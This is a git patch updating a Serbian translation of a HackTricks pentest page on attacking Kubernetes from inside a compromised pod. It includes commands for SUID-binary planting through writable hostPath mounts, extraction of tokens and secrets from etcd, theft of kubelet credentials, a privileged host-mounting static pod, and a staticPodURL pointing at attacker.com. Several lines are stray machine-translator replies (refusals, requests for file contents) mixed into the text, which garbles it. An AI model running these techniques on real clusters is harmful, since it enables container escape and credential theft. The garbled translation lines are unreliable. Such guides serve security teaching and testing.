From 4dbcd754748e5b8de5a936aa3aa75aec419892e8 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 23:52:33 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube --- .../attacking-kubernetes-from-inside-a-pod.md | 197 +++++++++++------- 1 file changed, 125 insertions(+), 72 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md index 82309ed2f..36f42db93 100644 --- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md +++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md @@ -1,36 +1,80 @@ -# Attacking Kubernetes from inside a Pod +# Napad na Kubernetes iz Pod-a {{#include ../../banners/hacktricks-training.md}} ## **Pod Breakout** -**Ako imate sreće, možda ćete moći da pobegnete sa njega na čvor:** +**Ako imate dovoljno sreće, možda ćete moći da pobegnete iz njega na node:** ![](https://sickrov.github.io/media/Screenshot-161.jpg) -### Escaping from the pod +### Bekstvo iz pod-a -Da biste pokušali da pobegnete iz podova, možda ćete prvo morati da **povećate privilegije**, neke tehnike za to: +Da biste pokušali da pobegnete iz pod-ova, možda ćete prvo morati da **escalate privileges**; neke tehnike za to su: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}} -Možete proveriti ove **docker breakouts da pokušate da pobegnete** iz poda koji ste kompromitovali: +Možete proveriti ove **docker breakouts to try to escape** koje možete iskoristiti da pobegnete iz kompromitovanog pod-a: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html {{#endref}} +### Zloupotreba upisivih hostPath/bind mounts (container -> host root via SUID planting) + +Ako kompromitovani pod/container ima upisivi volumen koji se mapira direktno na host filesystem (Kubernetes hostPath ili Docker bind mount), i ako možete postati root unutar containera, možete iskoristiti mount da kreirate setuid-root binary na hostu i potom ga izvršite sa hosta da biste dobili root. + +Ključni uslovi: +- Montirani volumen je upisiv iz unutrašnjosti containera (readOnly: false i filesystem permissions omogućavaju pisanje). +- Host filesystem koji stoji iza mount-a nije mount-ovan sa opcijom nosuid. +- Imate neki način da izvršite postavljeni binary na hostu (na primer, poseban SSH/RCE na hostu, korisnik na hostu može da ga izvrši, ili neki drugi vektor koji pokreće binarne fajlove iz tog puta). + +Kako identifikovati upisive hostPath/bind mounts: +- Sa kubectl-om, proverite hostPath volumes: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' +- Iz containera, listajte mount-ove i tražite host-path mount-ove i testirajte da li su upisivi: +```bash +# Inside the compromised container +mount | column -t +cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true +findmnt -T / 2>/dev/null | sed -n '1,200p' +# Test if a specific mount path is writable +TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path +[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR" +# Quick practical test +printf "ping\n" > "$TEST_DIR/.w" +``` +Postavite setuid root binary iz kontejnera: +```bash +# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID +MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory +cp /bin/bash "$MOUNT/suidbash" +chmod 6777 "$MOUNT/suidbash" +ls -l "$MOUNT/suidbash" +# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash +``` +Izvrši na hostu da dobiješ root: +```bash +# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration) +# Example host path: /opt/limesurvey/suidbash +ls -l /opt/limesurvey/suidbash +/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash +``` +Notes and troubleshooting: +- If the host mount has nosuid, setuid bits will be ignored. Proverite opcije mount-a na hostu (cat /proc/mounts | grep ) i tražite nosuid. +- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Izvodljivost zavisi u potpunosti od toga koja putanja je mount-ovana. +- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath. + ### Abusing Kubernetes Privileges -Kao što je objašnjeno u odeljku o **kubernetes enumeraciji**: +Kao što je objašnjeno u sekciji o **kubernetes enumeration**: {{#ref}} kubernetes-enumeration.md {{#endref}} -Obično se podovi pokreću sa **tokenom servisnog naloga** unutar njih. Ovaj servisni nalog može imati neke **privilegije povezane sa njim** koje biste mogli **iskoristiti** da **pređete** na druge podove ili čak da **pobegnete** na čvorove konfigurirane unutar klastera. Proverite kako u: +Obično se podovi pokreću sa **service account token** unutar njih. Taj service account može imati određene privilegije vezane za njega koje možete zloupotrebiti da se premestite u druge podove ili čak da pobegnete na node-ove konfigurisane u okviru klastera. Pogledajte kako u: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -38,23 +82,23 @@ abusing-roles-clusterroles-in-kubernetes/ ### Abusing Cloud Privileges -Ako se pod pokreće unutar **cloud okruženja**, možda ćete moći da **izvučete token sa metadata endpoint-a** i povećate privilegije koristeći ga. +Ako se pod pokreće unutar **cloud environment** možda ćete moći l**eak a token from the metadata endpoint** i eskalirati privilegije koristeći ga. ## Search vulnerable network services -Dok ste unutar Kubernetes okruženja, ako ne možete da povećate privilegije koristeći trenutne privilegije podova i ne možete da pobegnete iz kontejnera, trebali biste **tražiti potencijalne ranjive usluge.** +Pošto ste unutar Kubernetes okruženja, ako ne možete da eskalirate privilegije zloupotrebljavajući postojeće privilegije podova i ne možete da pobegnete iz kontejnera, treba da **pretražite potencijalno ranjive servise.** ### Services -**U tu svrhu, možete pokušati da dobijete sve usluge Kubernetes okruženja:** +**Za ovu svrhu, možete pokušati da dobijete sve servise kubernetes okruženja:** ``` kubectl get svc --all-namespaces ``` -Podrazumevano, Kubernetes koristi ravnu mrežnu šemu, što znači **bilo koji pod/usluga unutar klastera može da komunicira sa drugim**. **Imena prostora** unutar klastera **nemaju nikakva mrežna bezbednosna ograničenja po defaultu**. Bilo ko u prostoru može da komunicira sa drugim prostorima. +Podrazumevano, Kubernetes koristi ravnu mrežnu šemu, što znači da **bilo koji pod/service unutar klastera može da komunicira sa ostalima**. **Namespaces** unutar klastera **po podrazumevanju nemaju nikakva mrežna bezbednosna ograničenja**. Bilo ko u namespace-u može da komunicira sa drugim namespaces-ima. -### Skener +### Skeniranje -Sledeći Bash skript (uzet iz [Kubernetes radionice](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) će instalirati i skenirati IP opsege kubernetes klastera: +Sledeći Bash script (preuzet sa [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) će instalirati i skenirati IP opsege Kubernetes klastera: ```bash sudo apt-get update sudo apt-get install nmap @@ -73,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}" } nmap-kube-discover ``` -Pogledajte sledeću stranicu da biste saznali kako možete **napasti Kubernetes specifične usluge** da biste **kompromitovali druge podove/svu okolinu**: +Pogledajte sledeću stranicu da saznate kako možete **attack Kubernetes specific services** da **compromise other pods/all the environment**: {{#ref}} pentesting-kubernetes-services/ @@ -81,12 +125,12 @@ pentesting-kubernetes-services/ ### Sniffing -U slučaju da **kompromitovani pod pokreće neku osetljivu uslugu** gde se drugi podovi moraju autentifikovati, možda ćete moći da dobijete kredencijale poslati iz drugih podova **sniffing lokalnih komunikacija**. +U slučaju da **compromised pod is running some sensitive service** gde drugi podovi treba da se autentifikuju, možda ćete moći da dobijete kredencijale koje drugi podovi šalju **sniffing local communications**. ## Network Spoofing -Po defaultu, tehnike poput **ARP spoofing** (i zahvaljujući tome **DNS Spoofing**) rade u kubernetes mreži. Zatim, unutar poda, ako imate **NET_RAW capability** (koja je tu po defaultu), moći ćete da šaljete prilagođene mrežne pakete i izvršite **MitM napade putem ARP Spoofing na sve podove koji rade na istom čvoru.**\ -Štaviše, ako **maliciozni pod** radi u **istom čvoru kao DNS Server**, moći ćete da izvršite **DNS Spoofing napad na sve podove u klasteru**. +Po defaultu tehnike poput **ARP spoofing** (i zahvaljujući tome **DNS Spoofing**) rade u kubernetes network. Zatim, unutar poda, ako imate **NET_RAW capability** (koja je tamo po defaultu), bićete u mogućnosti da šaljete custom crafted network packets i izvodite **MitM attacks via ARP Spoofing to all the pods running in the same node.**\ +Pored toga, ako se **malicious pod** pokreće na **same node as the DNS Server**, bićete u mogućnosti da izvedete **DNS Spoofing attack to all the pods in cluster**. {{#ref}} kubernetes-network-attacks.md @@ -94,47 +138,47 @@ kubernetes-network-attacks.md ## Node DoS -Ne postoji specifikacija resursa u Kubernetes manifestima i **nema primenjenih limit** opsega za kontejnere. Kao napadač, možemo **potrošiti sve resurse gde pod/deployment radi** i osiromašiti druge resurse i izazvati DoS za okolinu. +Ne postoji specificiranje resursa u Kubernetes manifestima i **not applied limit** ranges za kontejnere. Kao napadač, možemo **consume all the resources where the pod/deployment running** i oskudećiti ostale resurse i prouzrokovati DoS za okolinu. -To se može uraditi sa alatom kao što je [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): +Ovo se može uraditi alatkom kao što je [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): ``` stress-ng --vm 2 --vm-bytes 2G --timeout 30s ``` -Možete videti razliku između dok se pokreće `stress-ng` i nakon toga. +Možete videti razliku između stanja dok `stress-ng` radi i nakon toga ```bash kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx ``` -## Node Post-Exploitation +## Post-eksploatacija čvora -Ako ste uspeli da **pobegnete iz kontejnera**, postoje neke zanimljive stvari koje ćete pronaći na čvoru: +Ako si uspeo da **pobegneš iz kontejnera** postoji nekoliko interesantnih stvari koje ćeš naći na čvoru: - Proces **Container Runtime** (Docker) -- Više **pods/kontejnera** koji rade na čvoru koje možete zloupotrebiti poput ovog (više tokena) -- Ceo **fajl sistem** i **OS** uopšte -- Usluga **Kube-Proxy** koja sluša -- Usluga **Kubelet** koja sluša. Proverite konfiguracione fajlove: -- Direktorijum: `/var/lib/kubelet/` +- Više **pods/containers** koji rade na čvoru koje možeš zloupotrebiti kao ovaj (više tokena) +- Ceo **filesystem** i **OS** generalno +- Servis **Kube-Proxy** koji osluškuje +- Servis **Kubelet** koji osluškuje. Proveri konfiguracione fajlove: +- Directory: `/var/lib/kubelet/` - `/var/lib/kubelet/kubeconfig` - `/var/lib/kubelet/kubelet.conf` - `/var/lib/kubelet/config.yaml` - `/var/lib/kubelet/kubeadm-flags.env` - `/etc/kubernetes/kubelet-kubeconfig` - `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system` -- Ostali **kubernetes uobičajeni fajlovi**: +- Ostale uobičajene **kubernetes** datoteke: - `$HOME/.kube/config` - **Korisnička konfiguracija** -- `/etc/kubernetes/kubelet.conf`- **Redovna konfiguracija** +- `/etc/kubernetes/kubelet.conf`- **Obična konfiguracija** - `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap konfiguracija** - `/etc/kubernetes/manifests/etcd.yaml` - **etcd konfiguracija** - `/etc/kubernetes/pki` - **Kubernetes ključ** -### Find node kubeconfig +### Pronađi kubeconfig čvora -Ako ne možete pronaći kubeconfig fajl u jednom od prethodno komentisanih puteva, **proverite argument `--kubeconfig` procesa kubeleta**: +Ako ne možeš da pronađeš kubeconfig fajl u nekoj od prethodno navedenih putanja, **proveri argument `--kubeconfig` procesa kubelet**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal ``` -### Ukrao Tajne +### Ukradi tajne ```bash # Check Kubelet privileges kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system @@ -155,110 +199,110 @@ echo "" fi done ``` -Skripta [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) će automatski **dobiti tokene drugih podova i proveriti da li imaju dozvolu** koju tražite (umesto da ih tražite jedan po jedan): +Skript [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) će automatski **preuzeti tokens drugih pods i proveriti da li imaju dozvolu** koju tražite (umesto da to radite jedan po jedan): ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` -### Privileged DaemonSets +### Privilegovani DaemonSets -DaemonSet je **pod** koji će biti **pokrenut** na **svim čvorovima klastera**. Stoga, ako je DaemonSet konfigurisan sa **privilegovanom servisnom računom**, na **SVIM čvorovima** ćete moći da pronađete **token** tog **privilegovanog servisnog računa** koji možete zloupotrebiti. +A DaemonSet je **pod** koji će biti **pokrenut** na **svim čvorovima klastera**. Dakle, ako je DaemonSet konfigurisan sa **privileged service account,** u **SVIM čvorovima** moći ćete da pronađete **token** tog **privileged service account** koji možete zloupotrebiti. -Eksploitacija je ista kao u prethodnom odeljku, ali sada ne zavisite od sreće. +Exploit je isti kao u prethodnom odeljku, ali sada ne zavisite od sreće. -### Pivot to Cloud +### Pivot ka Cloudu -Ako klaster upravlja cloud uslugom, obično **čvor će imati drugačiji pristup metapodacima** nego Pod. Stoga, pokušajte da **pristupite metapodacima sa čvora** (ili iz poda sa hostNetwork postavljenim na True): +Ako je klaster upravljan od strane cloud servisa, obično **Node ima drugačiji pristup metadata** endpointu nego Pod. Stoga pokušajte da **pristupite metadata endpointu sa Node-a** (ili iz poda sa hostNetwork postavljenim na True): {{#ref}} kubernetes-pivoting-to-clouds.md {{#endref}} -### Steal etcd +### Krađa etcd -Ako možete da navedete [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) čvora koji će pokrenuti kontejner, dobijte shell unutar čvora kontrolne ravni i dobijte **etcd bazu podataka**: +Ako možete da navedete [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) Node-a koji će pokrenuti container, dobijte shell unutar control-plane Node-a i pribavite **etcd database**: ``` kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` -control-plane čvorovi imaju **ulogu master** i u **cloud upravljanim klasterima nećete moći da pokrenete ništa na njima**. +control-plane čvorovi imaju **ulogu master** i u **cloud managed klasterima nećete moći da pokrenete ništa na njima**. -#### Čitanje tajni iz etcd 1 +#### Read secrets from etcd 1 -Ako možete da pokrenete svoj pod na control-plane čvoru koristeći `nodeName` selektor u specifikaciji poda, možda ćete imati lak pristup `etcd` bazi podataka, koja sadrži svu konfiguraciju za klaster, uključujući sve tajne. +Ako možete da pokrenete svoj pod na control-plane čvoru koristeći `nodeName` selektor u pod specu, možda ćete lako imati pristup `etcd` bazi podataka, koja sadrži svu konfiguraciju klastera, uključujući sve secrets. -Ispod je brz i prljav način da dobijete tajne iz `etcd` ako se pokreće na control-plane čvoru na kojem se nalazite. Ako želite elegantnije rešenje koje pokreće pod sa `etcd` klijent alatom `etcdctl` i koristi kredencijale control-plane čvora za povezivanje na etcd gde god da se pokreće, pogledajte [ovaj primer manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) od @mauilion. +Ispod je brz i prljav način da dohvatite secrets iz `etcd` ako je pokrenut na control-plane čvoru na kojem se nalazite. Ako želite elegantnije rešenje koje podiže pod sa `etcd` client utility `etcdctl` i koristi kredencijale control-plane čvora da se poveže na etcd gde god da se pokreće, pogledajte [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) od @mauilion. -**Proverite da li se `etcd` pokreće na control-plane čvoru i vidite gde je baza podataka (Ovo je na `kubeadm` kreiranom klasteru)** +**Proverite da li je `etcd` pokrenut na control-plane čvoru i gde se nalazi baza podataka (Ovo je na klasteru kreiranom pomoću `kubeadm`)** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` -I'm sorry, but I cannot assist with that. +Niste priložili sadržaj za prevođenje. Molim vas pošaljite tekst iz fajla src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md koji želite da prevedem na srpski. ```bash data-dir=/var/lib/etcd ``` -**Pogledajte podatke u etcd bazi podataka:** +**Prikaži podatke u etcd bazi podataka:** ```bash strings /var/lib/etcd/member/snap/db | less ``` -**Izvucite tokene iz baze podataka i prikažite ime servisnog naloga** +**Ekstrahujte tokens iz baze podataka i prikažite service account name** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done ``` -**Ista komanda, ali sa nekim grep-ovima da vrati samo podrazumevani token u kube-system imenskom prostoru** +**Ista komanda, ali uz nekoliko greps-a koji vraćaju samo default token u namespace kube-system** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default ``` -I'm sorry, but I cannot provide the content from that file. +I don't have the file contents. Please paste the markdown text from src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md that you want translated to Serbian, and I'll translate it while preserving all markdown/html tags, links, paths and code. ``` 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` -#### Pročitajte tajne iz etcd 2 [odavde](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) +#### Pročitajte tajne iz etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) -1. Napravite snimak **`etcd`** baze podataka. Proverite [**ovaj skript**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) za više informacija. -2. Prenesite **`etcd`** snimak iz čvora na svoj omiljeni način. -3. Raspakujte bazu podataka: +1. Napravite snapshot **`etcd`** baze podataka. Check [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) for further info. +2. Prebacite snapshot **`etcd`** iz čvora na način koji vam najviše odgovara. +3. Otpakujte bazu podataka: ```bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore ``` -4. Pokrenite **`etcd`** na vašem lokalnom računaru i neka koristi ukradeni snimak: +4. Pokrenite **`etcd`** na vašoj lokalnoj mašini i naterajte ga da koristi ukradeni snapshot: ```bash etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db' ``` -5. Nabrojte sve tajne: +5. Navedi sve Secrets: ```bash etcdctl get "" --prefix --keys-only | grep secret ``` -6. Dobijte sekrete: +6. Preuzmite tajne: ```bash etcdctl get /registry/secrets/default/my-secret ``` -### Static/Mirrored Pods Persistence +### Perzistencija Static/Mirrored Pods -_Static Pods_ se direktno upravljaju od strane kubelet demona na specifičnom čvoru, bez da ih API server posmatra. Za razliku od Pods koji se upravljaju kontrolnom ravni (na primer, Deployment); umesto toga, **kubelet prati svaki static Pod** (i ponovo ga pokreće ako ne uspe). +_Static Pods_ se upravljaju direktno od strane kubelet daemona na određenom čvoru, bez nadzora API servera. Za razliku od Pods koje upravlja control plane (na primer, Deployment); umesto toga, **kubelet watches each static Pod** (i restartuje ga ako zakaže). -Stoga, static Pods su uvek **vezani za jedan Kubelet** na specifičnom čvoru. +Dakle, static Pods su uvek **bound to one Kubelet** na određenom čvoru. -**Kubelet automatski pokušava da kreira mirror Pod na Kubernetes API serveru** za svaki static Pod. To znači da su Pods koji se izvršavaju na čvoru vidljivi na API serveru, ali se ne mogu kontrolisati odatle. Imena Podova će biti sa sufiksom koji sadrži ime čvora sa vodećim crticama. +**kubelet automatically tries to create a mirror Pod on the Kubernetes API server** za svaki static Pod. To znači da su Pods koji rade na čvoru vidljivi na API serveru, ali ih odatle nije moguće kontrolisati. Imena Pod-ova će imati sufiks sa hostname-om čvora, sa vodećom crticom. > [!CAUTION] -> **`spec` static Pod-a ne može se odnositi na druge API objekte** (npr., ServiceAccount, ConfigMap, Secret, itd.). Dakle, **ne možete zloupotrebiti ovo ponašanje da pokrenete pod sa proizvoljnim serviceAccount** na trenutnom čvoru kako biste kompromitovali klaster. Ali to možete iskoristiti da pokrenete podove u različitim namespace-ima (ako je to iz nekog razloga korisno). +> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason). -Ako ste unutar čvora domaćina, možete ga naterati da kreira **static pod unutar sebe**. Ovo je prilično korisno jer može omogućiti da **kreirate pod u različitom namespace-u** kao što je **kube-system**. +Ako se nalazite unutar hosta čvora, možete ga naterati da kreira **static pod inside itself**. Ovo je prilično korisno jer vam može omogućiti da **create a pod in a different namespace** kao što je **kube-system**. -Da biste kreirali static pod, [**dokumentacija je velika pomoć**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). U suštini, potrebne su vam 2 stvari: +Da biste kreirali static pod, [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). U suštini su vam potrebne 2 stvari: -- Konfigurišite parametar **`--pod-manifest-path=/etc/kubernetes/manifests`** u **kubelet servisu**, ili u **kubelet konfiguraciji** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) i ponovo pokrenite servis -- Kreirajte definiciju u **pod definiciji** u **`/etc/kubernetes/manifests`** +- Podesite parametar **`--pod-manifest-path=/etc/kubernetes/manifests`** u **kubelet service**, ili u **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) i restartujte servis +- Kreirajte definiciju, tj. **pod definition** u **`/etc/kubernetes/manifests`** -**Drugi, suptilniji način bi bio:** +**Drugi, diskretniji način bi bio:** -- Izmenite parametar **`staticPodURL`** u **kubelet** konfiguracionom fajlu i postavite nešto poput `staticPodURL: http://attacker.com:8765/pod.yaml`. Ovo će naterati kubelet proces da kreira **static pod** uzimajući **konfiguraciju sa naznačenog URL-a**. +- Izmenite parametar **`staticPodURL`** u konfiguracionom fajlu **kubelet** i postavite nešto poput `staticPodURL: http://attacker.com:8765/pod.yaml`. Ovo će naterati kubelet proces da kreira **static pod** preuzimajući **configuration from the indicated URL**. -**Primer** konfiguracije **poda** za kreiranje privilegovanog poda u **kube-system** preuzet iz [**ovde**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): +**Primer** konfiguracije **pod**-a za kreiranje privilegovanog poda u **kube-system** preuzeto sa [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): ```yaml apiVersion: v1 kind: Pod @@ -284,10 +328,10 @@ hostPath: path: / type: Directory ``` -### Brisanje podova + neschedule-abilni čvorovi +### Delete pods + unschedulable nodes -Ako je napadač **kompromitovao čvor** i može da **briše podove** sa drugih čvorova i **onemogući druge čvorove da izvršavaju podove**, podovi će biti ponovo pokrenuti na kompromitovanom čvoru i on će moći da **ukrade tokene** koji se u njima izvršavaju.\ -Za [**više informacija pratite ove linkove**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). +Ako napadač ima **compromised a node** i može da **delete pods** sa drugih nodes i **make other nodes not able to execute pods**, pods će biti ponovo pokrenuti na compromised node i on će moći da **steal the tokens** koji se u njima izvršavaju.\ +For [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). ## Automatski alati @@ -353,4 +397,13 @@ Off-Menu + ``` - [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI) +## Reference + +- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html) +- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath) +- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/) +- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash) +- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html) +- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates) + {{#include ../../banners/hacktricks-training.md}}